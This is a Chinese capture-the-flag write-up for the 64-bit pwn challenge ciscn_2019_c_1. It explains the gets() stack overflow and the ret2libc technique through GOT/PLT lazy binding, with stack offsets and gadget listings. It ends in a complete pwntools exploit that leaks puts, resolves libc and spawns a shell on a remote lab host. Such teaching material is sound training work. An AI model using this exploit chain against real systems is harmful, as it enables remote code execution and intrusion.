ciscn_2019_c_1
checksec,开了栈不可执行
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
本题为libc中比较经典的一题,故作详细讲解
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF // 定义一个整型变量v4(用于存储用户输入)
init(argc, argv, envp); // 初始化函数(可能设置缓冲/初始化等)
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin(); // 可能打印菜单选项
while ( 1 ) // 主循环
{
while ( 1 )
{
fflush(0LL); // 清空输出缓冲区
v4 = 0; // 初始化v4为0
__isoc99_scanf("%d", &v4); // 读取用户输入的整数
getchar(); // 读取换行符(清空输入缓冲区)
if ( v4 != 2 ) // 如果输入不是2则跳出内层循环
break;
// 输入为2时的提示
puts("I think you can do it by yourself");
begin(); // 再次显示菜单
}
if ( v4 == 3 ) // 如果输入为3
{
puts("Bye!"); // 打印退出信息
return 0; // 退出程序
}
if ( v4 != 1 ) // 如果输入不是1也不是2也不是3
break; // 跳出外层循环
encrypt(); // 输入为1时调用加密函数
begin(); // 再次显示菜单
}
puts("Something Wrong!"); // 输入非法选项时的错误提示
return 0; // 退出程序
}
int begin()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}
int encrypt()
{
size_t v0; // rbx // 用于存储当前字符索引的临时变量
char s[48]; // [rsp+0h] [rbp-50h] BYREF // 存储用户输入文本的缓冲区
__int16 v3; // [rsp+30h] [rbp-20h] // 可能用于缓冲区终止符
memset(s, 0, sizeof(s)); // 清空缓冲区
v3 = 0; // 初始化终止符
puts("Input your Plaintext to be encrypted"); // 提示用户输入明文
gets(s); // 读取用户输入
// 循环处理每个字符
while ( 1 )
{
v0 = (unsigned int)x; // 获取当前字符索引
if ( v0 >= strlen(s) ) // 如果已处理完所有字符,退出循环
break;
// 根据字符类型应用不同的加密变换
if ( s[x] <= 96 || s[x] > 122 ) // 如果不是小写字母(a-z)
{
if ( s[x] <= 64 || s[x] > 90 ) // 如果不是大写字母(A-Z)
{
if ( s[x] > 47 && s[x] <= 57 ) // 如果是数字(0-9)
s[x] ^= 0xFu; // 对数字进行异或加密(与0xF异或)
}
else // 如果是大写字母
{
s[x] ^= 0xEu; // 对大写字母进行异或加密(与0xE异或)
}
}
else // 如果是小写字母
{
s[x] ^= 0xDu; // 对小写字母进行异或加密(与0xD异或)
}
++x; // 移动到下一个字符
}
puts("Ciphertext"); // 输出密文提示
return puts(s); // 输出加密后的文本
}
审计代码,一个简单的加密工具程序,主函数显示一个欢迎界面并提供菜单选项:1. 加密(调用encrypt函数)2. 显示无用信息 3. 退出程序。加密函数使用异或操作对输入文本进行简单加密:小写字母与0xD(十进制13)异或,大写字母与0xE(十进制14)异或,数字则与0xF(十进制15)异或,其他字符保持不变。加密后的结果输出为密文。main函数基本没有漏洞,但是在加密函数中存在gets不安全函数
shift加F12没有找到/bin/sh,也没有system。基本可以判断要打ret2libc
此处有一个小点,对于加密函数,要使得与原来的输入相同,可以考虑异或的加法逆元,导致一个数与相同的另一个数异或两次,就会回到最初的值。例如(ab)b=a。但是如果我们输入的字符串开头是\x00的话,字符就被截断了strlen就会认为我们输入了0个字符串,从而绕过加密变换。而在实际测试中,发现似乎不论截断与否都不会影响我们获取函数地址
这道题我们详细讲一下ret2libc原理,程序运行过程包含代码编辑,编译,链接,打包为可执行文件,而ret2libc主要攻击的是动态链接这一步,也就是PLT表和GOT表,打个形象点的比方,
:::info
想象一下,你的程序需要调用很多外部函数(比如 printf),就像你需要给很多人打电话。GOT (Global Offset Table, 全局偏移表):就是你的通讯录。里面最终记录着每个人的真实电话号码(函数的真实内存地址)。但这个通讯录里的号码一开始是空的或者写的是“问xx秘书”。PLT (Procedure Linkage Table, 过程链接表):就是你的贴心秘书。你想打电话给某人(调用函数)时,你不会直接去翻通讯录,而是先叫对应秘书:“喂,小P,帮我接通老王(printf)!”秘书小P(PLT)的第一通操作永远是:先去查通讯录(GOT)看有没有老王的电话。如果有了,直接就帮你拨号(跳转到地址并执行)。如果还没有,秘书就会非常负责地去想办法查到老王的真实号码,填到通讯录(GOT)里,然后再帮你拨通。这个过程就是 “延迟绑定(Lazy Binding)” :函数地址只有在第一次被调用时才去查找并填写,提高了启动效率。
:::
在程序运行一次之后,函数的地址就被存到GOT表中了,这时候我们通过puts等函数将地址打印出来就可以利用,对于固定版本的lic.so来说,system,/bin/sh的地址是相对固定的,可以使用。于是我们的思路就是获取 pop_rdi_ret 、puts_plt 、puts_got 的地址通过栈溢出打印puts函数的真实地址 ,根据puts函数的真实地址获知靶机使用的 libc,将 puts@got 偏移到 system_got 和 binsh_got,回到 gets 函数,重新执行溢出拿到 sh
.plt:00000000004006D6 push 0
.plt:00000000004006DB jmp sub_4006C0
.plt:00000000004006E0 ; [00000006 BYTES: COLLAPSED FUNCTION _puts]
.plt:00000000004006E6 ; ---------------------------------------------------------------------------
可见puts_plt地址0x4006E0,当然也可以通过创建elf对象,使用puts_plt=elf.plt['puts']来获取
elf = ELF('./ciscn_2019_c_1')
puts_plt=elf.plt['puts']
0000000000000050 char s[48];
-0000000000000020 _WORD var_20;
-000000000000001E // padding byte
-000000000000001D // padding byte
...............................................
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
可以得到offset=0x50+0x8
payload = b'\x00' + b'A'*(offset-1)
payload +=p64(pop_rdi_ret)
payload +=p64(puts_got)
payload +=p64(puts_plt)
payload +=p64(main)
pop rdi ; ret作用是弹出一个值到rdi,再retrun一个地址,接着的puts_got就是要弹出的值,puts_plt就是要ret的值。系统点讲就是,将puts函数在GOT表中的地址(puts_got)作为参数载入RDI寄存器;然后调用puts函数在PLT表中的地址(puts_plt),实际执行puts(puts_got),从而将libc中puts函数的真实地址打印输出;最后将返回地址设置为main函数。当然也可以返回encry_addr,同时第二次溢出拿shell时就不需要再发送一次b'1'了,具体为什么请读者结合伪代码自行思考。接收libc中puts函数的真实地址方式如下
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_addr = u64(p.recvline()[:-1].ljust(8,b'\0'))
第一种接收方式使用recvuntil('\x7f')接收数据直到遇到0x7f字节,然后提取最后6个字节并补齐至8字节后解析。这种方法适用于从数据流中提取嵌入的地址,特别针对64位系统中libc地址常以0x7f开头的特征,能更精确地从复杂数据中定位地址信息。第二种接收方式使用recvline()接收整行数据,并移除末尾的换行符后补齐至8字节,最后解析为64位整数。这种方法适用于地址单独占据一行的情况,处理简单直接,但要求地址必须以换行符结尾。
mov edi, offset aCiphertext ; "Ciphertext"
call _puts
lea rax, [rbp+s]
mov rdi, rax ; s
call _puts
nop
add rsp, 48h
pop rbx
pop rbp
retn
; } // starts at 4009A0
encrypt endp
对于第种接收方式,在收到Ciphertext后还要在收一次\n这是因为encrypt()函数在返回之前还调用了一次puts()函数来打印加密后的s,然后才retn。因此我们需要再接受一行,接下来收到的才是puts的真实地址。而第一行代码由于until的是\x7f,所以不论有没有多接收一行\n都可以成功接收到puts地址,这也是我更推荐的接收方式。
接收到puts函数地址后用pwn自带的log打印出来依据最后三位可以在https://libc.blukat.me/ 查到libc,再通过计算与libc基址的偏移得到system和binsh,也可以使用libcsearcher逃课。重新构造payload再次栈溢出拿shell,根据之前说过的栈平衡,要先加上一个ret,其余同上原理,文末附上相关博客。
exp
from pwn import *
from pwn import u64
from LibcSearcher import *
# io = process('./ciscn_2019_c_1')
io = remote('node5.buuoj.cn',26053)
elf = ELF('./ciscn_2019_c_1')
context(log_level = 'debug',os='linux',arch='amd64')
offset=0x50+0x8
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
ret=0x4006B9
pop_rdi_ret=0x400C83
encry_addr=0x4009a0
payload = b'\x00' + b'A'*(offset-1)
payload +=p64(pop_rdi_ret)
payload +=p64(puts_got)
payload +=p64(puts_plt)
payload +=p64(main)
# payload +=p64(encry_addr)
io.sendlineafter('Input your choice!',b'1')
io.recvuntil('Input your Plaintext to be encrypted')
io.sendline(payload)
io.recvuntil(b"Ciphertext\n")
# io.recvuntil(b"\n")
# 打印接收到的puts的真实地址
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
# puts_addr = u64(io.recvline()[:-1].ljust(8,b'\0'))
log.success('puts_addr--->'+hex(puts_addr))
libc = LibcSearcher("puts",puts_addr) #依据puts的地址,创建libcsearcher对象
libc_base= puts_addr - libc.dump('puts') #puts的地址减去puts相对libc基址的偏移
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
log.success('libc_base---->'+hex(libc_base))
log.success('system_addr-->'+hex(system_addr))
log.success('str_bin_sh--->'+hex(bin_sh))
#此处重新对payload赋值
payload=b'\x00' + b'A'*(offset-1)
payload+=p64(ret)
payload+=p64(pop_rdi_ret)+p64(bin_sh)
payload+=p64(system_addr)
io.sendline(b'1')
io.sendlineafter('Input your Plaintext to be encrypted',payload)
io.interactive()
# [+] puts_addr--->0x7fd41062c9c0
# [+] libc_base---->0x7f7f43f30000
# [+] system_addr-->0x7f7f43f7f440
# [+] str_bin_sh--->0x7f7f440e3e9a
# id libc6_2.27-3ubuntu1_amd64
# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
#rdi rsi rdx rcx r8 r9
# 0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c80 : pop r14 ; pop r15 ; ret
# 0x0000000000400c82 : pop r15 ; ret
# 0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000004007f0 : pop rbp ; ret
# 0x0000000000400aec : pop rbx ; pop rbp ; ret
# 0x0000000000400c83 : pop rdi ; ret
# 0x0000000000400c81 : pop rsi ; pop r15 ; ret
# 0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004006b9 : ret
# 0x00000000004008ca : ret 0x2017
# 0x0000000000400962 : ret 0x458b
# 0x00000000004009c5 : ret 0xbf02
在一些64位的glibc的payload调用system函数失败问题
栈平衡和栈转移(Stack-Pivot)-腾讯云开发者社区-腾讯云
BUUCTF ciscn_2019_c_1_byteswarning: text is not bytes; assuming ascii, n-CSDN博客

浙公网安备 33010602011771号